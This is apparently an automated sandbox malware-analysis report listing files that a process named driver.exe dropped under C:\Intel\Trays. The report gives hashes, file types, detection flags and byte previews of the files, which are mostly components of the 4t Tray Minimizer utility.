SHA-256:	B9702AB266717FDF1AB946E2F4253F67AAAC3A4DB3BC8BD71145C250997334B3
SHA-512:	B0D74D7A53D558595CD2243F79234F52B8F74BDB1AF1451CA0682C13616E1F4777B4D280CE929AB77EE8033F4C7B4A8A5B64BD7113F8C99CD97447CBAE6EC79D
Malicious:	false
Preview:	L..................F.... ...p.$..............5z.j...........................+....P.O. .:i.....+00.../C:\...................P.1.....FYc`..Intel.<......FY.]FYc`............................Y.I.n.t.e.l.....P.1.....FY.`..Trays.<......FY.]FY.`..........................jK..T.r.a.y.s.....\.2......K. .Trays.exe.D......FYd`FYd`....w ........................T.r.a.y.s...e.x.e.......M...............3.......L...........65......System.C:\Intel\Trays\Trays.exe......\.T.r.a.y.s...e.x.e...C.:.\.I.n.t.e.l.\.T.r.a.y.s...-.t.r.a.y.`.......X.......vivobook.........................W........(..VY.................W........(..VY........Q...1SPS.0..C..G.....sf"5...d............T.r.a.y.s. .(.C.:.\.I.n.t.e.l.).............1SPS0.%..G.....`...%................T.r.a.y.s...e.x.e............@....f...........................)..................@.8.;.>.6.5.=.8.5..............@....5z.j.......a...1SPS.jc(=.......O...E................C.:.\.I.n.t.e.l.\.T.r.a.y.s.\.T.r.a.y.s...e.x.e.........9...1SPS..mD..pH.H@..=x.....h

C:\Intel\Trays\Whatsnew.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1622
Entropy (8bit):	4.899410686748101
Encrypted:	false
SSDEEP:	48:lS2HOIQ3WN/SE8VFLskLb7RuGnPJgsGb4xC5V4ylVFk:tuI62/BID3lumPJEx5V4y/O
MD5:	09FE429955CDD00C8204694A12FC61E0
SHA1:	A7F9F4DAAA05E9352A9BD2B240F74EA42C11BCAD
SHA-256:	F19A02D60EED8BFE9844D815766C3B7A9D73BE6465BD7773746A27F39EF89A3A
SHA-512:	6D49512F3E81F1ADEB14E42536FAA852154D81734FD6C9E77EAF83000CD3ED1B4BFD18EB694725ABE723B66E276C3B6EE4A25A34DBED8386B933BD8D23CFDBEA
Malicious:	false
Preview:	..4t Tray Minimizer Free/Pro 6.07: What's new?..=================================================....ADDED.. [+] Windows 10 support.. [+] Windows 8 and 8.1 support.. [+] Support for console windows.. [+] Localization support.. [+] French language added. Thanks Jean-Pierre Lord for translation.. [+] Chinese language added. Thanks Merci chao for translation.. [+] Italian language added. Thanks Massimo Marcacci for translation.. [+] Portuguese (Brazil) language added. Thanks Eduardo Lampugnani for translation... [+] Russian language added. Thanks Ringil Endimion for translation... [+] Simplified Chinese translation added. Thanks Zeojc Uts for translation.. [+] Spanish language added. Thanks Claudio Salvio for translation... [+] German language added. Thanks Thomas Creutz and Maximilian Balter for translation.. [+] Ability to redefine action for the mouse click on the title bar.. [+] Inactive favorite windows can be automatically minimized to tray after certain idle time is r

C:\Intel\Trays\company.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	4.6004442740684155
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZFn:HRYFVm/r4bX
MD5:	40D94BAF7D28D32280FCF0DD570A37E6
SHA1:	F87EF8C328509F0135D98FF4B35C915F23D58D0A
SHA-256:	F192C975D67838A743CAACD8CA71877AE043FAD6F18E2F0B0FB96D0F9B66E15E
SHA-512:	C7277C09CCC99C1DCF1969C2D1771A046E803BA1B264A183D1ED473C2DAE3328F7FA1970B350B7CD584A8FE20CA81C3CA851A59C07D6ADFE25BDE801BF877997
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com..

C:\Intel\Trays\contact.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/contact_us.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.637005519385317
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3dLlhW5vn:HRYFVm/r4bnlhW5v
MD5:	6F0250612EC7B39A83E74CF3CA356CA5
SHA1:	80EFD04C98430B1748381010C68659DFC2557A5F
SHA-256:	241D88C602F3298DA04D403E97E831E843D9C6176FA7C661FCA9FB9EA7CDF7BE
SHA-512:	879752B9F83BC53F21656AAABE98B6B4955CA4A2B67531F92D3A3333230AAE59E989A9CA29368C3097521E3D3C92874511B54260732E07B1CA03FCEE47EC3C01
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/contact_us.html..

C:\Intel\Trays\delReg.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	6.23811864882066
Encrypted:	false
SSDEEP:	768:jlQqBEBHyBqM/5b8inuL5wKzE9nfw6dMcK10ztk2hEwxa1zTH4p1Alor/4Bv/eDk:hQqBE3ubz2LzEaOMcwVvSaF4bADGD8X
MD5:	E30D6A1276746415D9E02420B9163D00
SHA1:	D6E7245784FB9981FF15D56E10D75BDC342B4481
SHA-256:	211F078A2914BA88EE3A739A1C7A3CDE592BB8A5ED522D55038274000F7C6C89
SHA-512:	1C19BB914A7B21AAC11C4E9551B99081DC49F7DE3A12D911B457A5D838E4BFD18DF28375B8EEC902EAEF5CC1BEE7927AF385E89823693E246A6F003CF6D6B499
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@..............................................@..................................................................................................................................................CODE....4........................... ..`DATA................................@...BSS......................................idata..............................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Intel\Trays\faq.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_faq.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.731392382286379
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEco6Jovn:HRYFVm/r4bQc4v
MD5:	77D33FFFDC8B189F0E7A6BCF8460CD28
SHA1:	E68219FEDE27F53EA5E6606DF3C556DF9D2E6DF9
SHA-256:	4681D53DD83DE83A9DABCA7DC7D7AEEF1BA71EDC24254E244920F27BF6EA05EB
SHA-512:	8A8BC2120EC2987A2FE3379535530A784644E3BE0AEA11385DC2548DF13289DB834A796DECE770A074B53B60429CDC4F593BC71D776069D2DD8FDE4607B0DE28
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_faq.html..

C:\Intel\Trays\license.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2351
Entropy (8bit):	5.177290930473369
Encrypted:	false
SSDEEP:	48:2geJSyUwiCEfm2CwZupvE32sHiHnOxmiRt:2gZyUDO2fZEvE3+HnOBv
MD5:	04B3166626C39B806F710D2243A0B1C3
SHA1:	2EB73BAC75D2B6C616580D03A84DB3035AB16A4B
SHA-256:	6D9403BEC7B9060DE5289BCBB28024379F550A98233E3F776E3E9833DDEA45CB
SHA-512:	4C2A78E1274EF3AF1F82C61A48D1FD18A556395B72E47943F4925F5AF958DBE8A837F95A230B1F52DC763DC14A1692CE4545E70ECB13115B5F40A6E8086431E3
Malicious:	false
Preview:	..4t Tray Minimizer Free/Pro 6.07: THE LICENSE..===============================================....You should carefully read the following terms and..conditions before using this software. Your use of this..software indicates your acceptance of this license..agreement and warranty.....* 4t Niagara Software exclusively owns all.. copyrights to 4t Tray Minimizer.....* You can use the 4t Tray Minimizer Free version for personal .. and commercial purposes without any time limit.....* One LICENSED copy of 4t Tray Minimizer Pro may be used .. by one and only one of the following ways:.... 1) Personally by a single person, who uses the software .. on one or more computers.... 2) Installed on a single workstation used nonsimultaneously.. by multiple people....* The sale of and/or distribution of licensed copies.. of 4t Tray Minimizer Pro is strictly forbidden. It is a.. violation of this agreement to loan, rent, lease,.. borrow, or transfer the use of licensed copies of.. 4t N

C:\Intel\Trays\locale\de2\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 382 messages, Project-Id-Version: 4t Tray Minimizer 6.06 'Ausgeblendete Fenster'
Category:	dropped
Size (bytes):	30905
Entropy (8bit):	5.069231381707322
Encrypted:	false
SSDEEP:	768:4m0kM8gxaxtDp/C01snfhapyU9MJavZoK1Afz09PG3:x0kM8VF/91ohXKGo9PG3
MD5:	593F8A1D92C99751439CB11FCA5A5147
SHA1:	1A2FAB607168A473B65570199EAB2E3FBAEE7329
SHA-256:	5AFD8C6487235E7BAA5E17FAAE8E951C59342E63A5BBA91312D264742FA75DFB
SHA-512:	38B93610939400884143D4B093DD35A74F635D9CF4C6113E7B2C174BA1DF1805B167D6BE8B8C1F879497EFE21CA2E838B2DACCED73F199DAE1F20EC665AD7093
Malicious:	false
Preview:	........~........................................ ....... ......( ......C ......M ......V ..-..._ ....... ....... ....... ....... ....... ....... ....... ..).... ..#....!......1!......7!......S!......`!......v!..!....!.......!.......!.......!.......!..C....!......"..9...="......w"......}"......."..&...."......."......."......."..,...."..=....#......L#......Z#..8...l#.......#.......#.......#.......#.......#.......#.......#.......#.. ....$......0$......@$......H$......S$......k$..9...v$../....$.......$..3....$...... %......0%......_%......c%......i%......x%.......%.......%.......&.......&.......&..<....&.......'.......'.......'..!....'......@'..!...H'..-...j'.......'.......'.......'..,....'.......(..4....(.......(..+....(.......)..(...<)..)...e)..+....)..8....)..F....)......;......I......i......w..............................2.........................+..?....+..5...Y+..6....+.......+.......+.......+.......,.......,......+,......1,......;,......H,......U,......],..%...r,......

C:\Intel\Trays\locale\de\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 381 messages, Project-Id-Version: 4t Tray Minimizer 6.06 'Versteckte Fenster'
Category:	dropped
Size (bytes):	30016
Entropy (8bit):	5.060728405451012
Encrypted:	false
SSDEEP:	768:T0ZZpKDtuTp/d01snfhapyU9dpz1Bc+zdRs0s4FVUzs:T0oi/K1ohICIuzs
MD5:	45C010F6FE41F2F39B812800C9AA6628
SHA1:	CFF21B13A3181D6BDD40A6965814E489024C86FA
SHA-256:	BB2A9AD8C5138613D58D27895BE22CA9B42C370BD7F3DC19C51D4418A5990BC2
SHA-512:	CDD20FDE69978FA38057178D4CDA665B8F5281C7C960C06897E747D954AA3387A5AC337C577C999FA38680D0186E5A6449DAD942D7A0C8C3C2482C3B4CED4C80
Malicious:	false
Preview:	........}................................................ ....... ......3 ......= ......F ..-...O ......} ....... ....... ....... ....... ....... ....... ..).... ..#.... ......!!......'!......C!......P!......f!..!...o!.......!.......!.......!.......!..C....!......"..9...-"......g"......m"......s"..&...."......."......."..,...."..=...."......(#......6#..8...H#.......#.......#.......#.......#.......#.......#.......#.......#.. ....#.......$.......$......$$....../$......G$..9...R$../....$.......$..3....$.......$.......%......;%......?%......E%......T%......n%.......%......f&.......&.......&..<....&.......&.......&.......&..!....&.......'..!...$'..-...F'......t'.......'.......'..,....'.......'..4....(.......(..+....(.......(..(....)..)...A)..+...k)..8....)..F....).............%......E......S......m......~................2...........................?......5...5+..6...k+.......+.......+.......+.......+.......+.......,.......,.......,......$,......1,......9,..%...N,......t,......

C:\Intel\Trays\locale\es\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Ventanas ocultas'
Category:	dropped
Size (bytes):	30458
Entropy (8bit):	5.027518042535738
Encrypted:	false
SSDEEP:	768:nCFqE+vfRtop/dSwwnvhafRtnoVnUlQNf:CtQq/cwmhfVnycf
MD5:	698A77586654ADEFC181A9C2752393E0
SHA1:	83CFCE72EB1495F7E3F9E5A8DA2F3723E4FAB910
SHA-256:	793F85BE0AFD56902465F12165EBBF5EB72C5029DC0F9122C50DBE8DAA1D2B0D
SHA-512:	93F4E3BD983D6D81B0D455433623DF384FB81AD2E64447174ACC21074DFE047AA62499F045FD66707E5E00E9ACA95F225B867DE5D481392F89490D74C02489AA
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\fr\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 367 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Fen\303\252tres masqu\303\251es'
Category:	dropped
Size (bytes):	29470
Entropy (8bit):	5.062750769039303
Encrypted:	false
SSDEEP:	768:3r1SPrWd0ZWp/dSwBnvhafRtntA4/85/yOi:71B1/cwZhvi
MD5:	AB89E520989F70BB3E6D88348B1BB1B4
SHA1:	94ADB5B2BF6CDF422951A1368246CFB7BA7C7EDA
SHA-256:	E5BFC9850A8B703BC8111A80A986E95BBD774110BF336779C80C2F0314BCB787
SHA-512:	C2F8CB2345D8BEBFD9436B066ECAC8EE35A64C106A6CB0F7CD53A74C171DDC50F1F7C948AA63548E1582D33ECFFB4A99E9240F3DD34EAE9147592FBDF38A23F3
Malicious:	false
Preview:	........o...........................................................................-...........D.......N.......Y.......a.......l.......}...........).......#............................ ....... ......- ..!...6 ......X ......l ......w ......} ..C.... ...... ..9.... .......!......4!......:!..&...J!......q!......\|!..,....!..=....!.......!.......!..8...."......H"......V"......^"......f"......j"......v".......".......".. ....".......".......".......".......".......#..9....#../...S#.......#..3....#.......#.......#.......$.......$.......$.......$......5$......N$......-%......G%......O%..<...k%.......%.......%.......%..!....%.......%..!....%..-....&......;&......W&......n&..,...z&.......&..4...Z'.......'.......'..(....'..)....'..+....(..8...2(..F...k(.......(.......(.......(.......(.......(.......)..2....)......;)......B)......X)..?...b)..5....)..6....).............%......9......D......J......T......a......n......v..%.............'......"...........+......++......A+......M+......

C:\Intel\Trays\locale\it\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 367 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Finestre nascoste'
Category:	dropped
Size (bytes):	29520
Entropy (8bit):	4.974866083390291
Encrypted:	false
SSDEEP:	768:3riKEaZWp/dSwBnvhafRtnZ3fO5oPYvG2CZ+Xc:7ip/cwZhR5odZZ
MD5:	E20E2DAD6CA8B7EE2749F54D0A711AC0
SHA1:	550228B8FE9213054C1F578F55D8CE0E3288499C
SHA-256:	0492C624FAD7DC6655F8BED19DA0CFFDD1706C559EF892E629992F6FCB1E2DF0
SHA-512:	50A3D7BBD95E25944A734D20C65E5516A61168C2F7A7E8DD597F63560BA56EDC710BB50C8CA78F40DED1F90D733C713FB050D69BA51A64AE3CFB47606CBD657B
Malicious:	false
Preview:	........o...........................................................................-...........D.......N.......Y.......a.......l.......}...........).......#............................ ....... ......- ..!...6 ......X ......l ......w ......} ..C.... ...... ..9.... .......!......4!......:!..&...J!......q!......\|!..,....!..=....!.......!.......!..8...."......H"......V"......^"......f"......j"......v".......".......".. ....".......".......".......".......".......#..9....#../...S#.......#..3....#.......#.......#.......$.......$.......$.......$......5$......N$......-%......G%......O%..<...k%.......%.......%.......%..!....%.......%..!....%..-....&......;&......W&......n&..,...z&.......&..4...Z'.......'.......'..(....'..)....'..+....(..8...2(..F...k(.......(.......(.......(.......(.......(.......)..2....)......;)......B)......X)..?...b)..5....)..6....).............%......9......D......J......T......a......n......v..%.............'......"...........+......++......A+......M+......

C:\Intel\Trays\locale\pt_BR\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 'Janelas ocultas'
Category:	dropped
Size (bytes):	29425
Entropy (8bit):	5.09510591952236
Encrypted:	false
SSDEEP:	768:nCmhLDLgQf2Wtop/dSwwnvhafRtnSUs9OqhjajbxPGG8XHR2K5Ht:CmeWe/cwmhv9/mHQXHYyN
MD5:	85CBD0F7AFE8AC0A245A08A65AC40F7F
SHA1:	450A5DB373C743CA3ECFA7F6025CEE30E780D18C
SHA-256:	AAAF351A90E8210C4BC38A29FEB2FC4A67389D77FAE605B0A6FC92450F698096
SHA-512:	798D21AADEB715ACC703BD2E47CA507B65223A00FC7E036F8AACB7D7EFB877384BA72E0812C5574F406E8D8B5D51BEE7EF75B35ECCA8E111497DF01EFC0E0D80
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\ru\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 381 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\320\241\320\272\321\200\321\213\321\202\321\213\320\265 \320\276\320\272\320\275\320\260'
Category:	dropped
Size (bytes):	36266
Entropy (8bit):	5.3347246127099375
Encrypted:	false
SSDEEP:	768:T0ZZdTK6uTp/d01snfhapyU9msUf0+mdDVTjMdsB/Sl5+kttuVVP:T0s/K1ohgUSdDb/qG
MD5:	BC2EC0D45FCA6058421637813799A6AA
SHA1:	0A894BE9964F1CF885742D214456466453E49BA8
SHA-256:	0BDA3AFA67B8D4DDE8769ABC0BDC3DB65B7607E3F4524618766F48026C7D23BD
SHA-512:	C1462688B5AB56B397808EE124CD3057994BEEBC49EBB815659CD995FA60CA26E5968EDB6CAB912944A1BFC895F05EE40F7EB048FA6004204ECA420E7E1BFF87
Malicious:	false
Preview:	........}................................................ ....... ......3 ......= ......F ..-...O ......} ....... ....... ....... ....... ....... ....... ..).... ..#.... ......!!......'!......C!......P!......f!..!...o!.......!.......!.......!.......!..C....!......"..9...-"......g"......m"......s"..&...."......."......."..,...."..=...."......(#......6#..8...H#.......#.......#.......#.......#.......#.......#.......#.......#.. ....#.......$.......$......$$....../$......G$..9...R$../....$.......$..3....$.......$.......%......;%......?%......E%......T%......n%.......%......f&.......&.......&..<....&.......&.......&.......&..!....&.......'..!...$'..-...F'......t'.......'.......'..,....'.......'..4....(.......(..+....(.......(..(....)..)...A)..+...k)..8....)..F....).............%......E......S......m......~................2...........................?......5...5+..6...k+.......+.......+.......+.......+.......+.......,.......,.......,......$,......1,......9,..%...N,......t,......

C:\Intel\Trays\locale\tr\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 196 messages, Project-Id-Version: 4t Tray Minimizer 6.05 'Pencereleri gizle'
Category:	dropped
Size (bytes):	10931
Entropy (8bit):	5.120322380449319
Encrypted:	false
SSDEEP:	192:S3o+iYb5QTlt8a6zqGnxXnNvo+alRbG7pyk7/sjrWOqsvzwhxLifNnhvGeWrQ:SY4iTr6z/x9vqrq7pyk7/a+2hn
MD5:	042CC2B2B39001F1DB68FCBA99BE8335
SHA1:	17F6BF2F16ABA09478F64E2A15E0C955862E36E1
SHA-256:	E38FA2ED6DE39F63EA787944A5D225A1D7DB8621A5D7B89C0C7D994FB51B88D4
SHA-512:	F40F4BDD0B748B8B1CF30B902D5CA7DE04CD7CD616D229593E4B565371B2F4559EA2B0E9528BA42F3E33FA692AE8358F3C8742E7634C6E233FA71C1736CF61AD
Malicious:	false
Preview:	................<.......\.......x.......y...........................................#...........................................,...!...5.......W.......k.......v.......\|........................................................................................... ...................%.......-.......8.......P.......[.......g.......................................................................................................,.......@.......K.......f.......l.......v.......~...........................................7......./......."...F.......i.......x.......}...................................(................................................... .......2.......B.......Z.......m.......................................................................................................................(.......?.......L.......S.......b.......n............................................................................................... .......4.......F.......V.......`.......k.......}...............

C:\Intel\Trays\locale\zh_CN\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\351\232\220\350\227\217\347\232\204\347\252\227\345\217\243'
Category:	dropped
Size (bytes):	26890
Entropy (8bit):	5.922360490957865
Encrypted:	false
SSDEEP:	768:nC72cm4Rtop/dSwwnvhafRtnwIa8GajYFdTyooCnCDGjI:Cq4y/cwmhbIa83jYDTyohjI
MD5:	16685492CB6B7501401CCC05FE445A6D
SHA1:	F2A2278850153B6C7DC39B5F3EFBCD592BD15F3A
SHA-256:	43636194082FFAB40B132C5A456BC9A3C5AD3BA0A8B36E8ACF550D2064F29AFC
SHA-512:	148039622A0CD18CFB58C3B05017F146F0A59C5A560CE2BF138219AB2029CC6E44E55208B78BA077AC6B326BDEF3EEDB5BEBE65E5AA37908EFBB0138F75963DB
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\zh_TW\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\345\267\262\351\232\261\350\227\217\347\232\204\350\246\226\347\252\227'
Category:	dropped
Size (bytes):	27374
Entropy (8bit):	5.949578124832502
Encrypted:	false
SSDEEP:	768:nCjO4top/dSwwnvhafRtn481a11/FzwQdgUsTn:Cc/cwmhh8o11NzwQajr
MD5:	AAC7D05144F6E170F721193C657E5A68
SHA1:	1BB2EC3F5CAAD65C7195F25115FA5B7A5002017A
SHA-256:	53ECEF37900D2EF861E981F8D3627B833D1FACD4673915649EC5031238FF01CE
SHA-512:	5691E673C930A7AB945485882826DF930E8AC32FF3875DCC2CF7B491711198D1675380EA939ACCD36800C86616C94F3AF52884051993D12DF1C329EDF20ADF4A
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\newsletter.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/newsletter.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.575813497443379
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3rWJAhYn:HRYFVm/r4bEJD
MD5:	DA4B9F72255126C0DBA81B307613197D
SHA1:	ED1D195ABFD809B37D34979D4298C68199A7FD87
SHA-256:	8A31785AD405D814CF4D25C95C5D29FFB4C3A33D2B9194C4F88C9AF67356EF78
SHA-512:	21825FFA2B6B1E31F4230D4D7BF585010187BE8D4ADE401357FFAC25D0D5A03281D74FFA17CFAE84279B1AC6369B43BC386E57260F73EB46E16F7EAD9141AE96
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/newsletter.html..

C:\Intel\Trays\order.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1635
Entropy (8bit):	4.559163323877702
Encrypted:	false
SSDEEP:	24:e7RkJbOck5g9Xnp5XgefOhqKjDk+5kdpdWbck:w0bOd0XjwefOhhkRfdNk
MD5:	9CEF843EC120E85CD9FE38A5AB12CD36
SHA1:	85FCBC458AA0AA6923F5D3280CED69AFC4BD099D
SHA-256:	B1F55C00EB7556ACF95715441A310B5B051C0DB73B5120388B2863AB27A271FD
SHA-512:	3BF7DFD05F30A102A8F7471134F26F4FAEECD17DE475CE71FA64EC89C8E8DF5E171261CDCC0FAB4B5EC1A084C116601013EA23A9E08BF555046244CAB7EED62D
Malicious:	false
Preview:	..4t Tray Minimizer Pro 6.07: How to order?..=============================================......(1) Pricing..===========.... A single license with 1-year of updates and support for full .. featured 4t Tray Minimizer Pro 6.07 is $19.95. .. Check latest price at .. http://www.4t-niagara.com/tray_order.html......(2) Full version benefits..=========================.... - All customization settings are stored.. - 1-year of free updates.. - 1-year of technical Support by e-mail.. - New version and updates notification by e-mail.. - Discounts for other products from 4t Niagara Software......(3) Order single license..========================.... The licensed product may be used by one and only one of the .. following ways:.... 1) Personally by a single person, who uses the software on .. one or more computers.... 2) Installed on a single workstation used nonsimultaneously .. by multiple people......(4) How to order..=======================

C:\Intel\Trays\order.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_order.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.673203928779382
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEchXw5RJn:HRYFVm/r4bQchin
MD5:	7C86A88BA20294EFD1723D14CADC9431
SHA1:	A5A2E5F5283A462AB6234BDF1F8393B06FFCDF12
SHA-256:	E22AB4D66DC48DEEEE0142AED2FAB0E38E73D9B2D3AC275C025F3D05C082201E
SHA-512:	2FB71F3BF84F96635DEFC34CA86D13D805B6B70B815DEC3160E444CB32AC8D5D3790C676D391C4954E2412E7E6A1A431F6548372D099C9DB939CA73AE1BEFA1C
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_order.html..

C:\Intel\Trays\product.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.614282214221932
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEcLDJn:HRYFVm/r4bQcPJ
MD5:	98FF41BD6C4DCFE5257FAFF4AA39E5E6
SHA1:	2F5EC6409EDA4DF5B025B6DF2F70B525160A83FE
SHA-256:	8CBFBB70978E889723BF228201E634F55289A7F50F7B9874895A08BE6CEA64ED
SHA-512:	7C18E2DAB463EEDF117EE9135DE2E7A186C2751F87122F55C0B5F18243064651AF40C146BBC28524FECB817D0881431C52A6FD65D3B233FA6C4F98ABA15EF550
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray.html..

C:\Intel\Trays\readme.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6436
Entropy (8bit):	4.99297727082377
Encrypted:	false
SSDEEP:	96:+aRuMaCRmK/5kMDV5fA0+1qAZ4DM3KrN5rK+0pSxfJ3GxRQ:buuRmKdDvx+1qYsMGXK+9fJ3GxG
MD5:	B265E96281ACD6A3EF5BDEF6C1642F1B
SHA1:	3BB6D53BE5EA3BAD90AFB43612AC83F58D2304AD
SHA-256:	E73559186F801BC9392554CCE951E481DEA9E652494FBA74EE4A7138A74C90DD
SHA-512:	9983E34B4F567D6B8A103BBD42E09AE0B0AF539B03F2CB8DFD929D4054B42A13C83D32E738DF1066C43DDDC422DB31DEF7D511CAE8C047249C993BC789F805C7
Malicious:	false
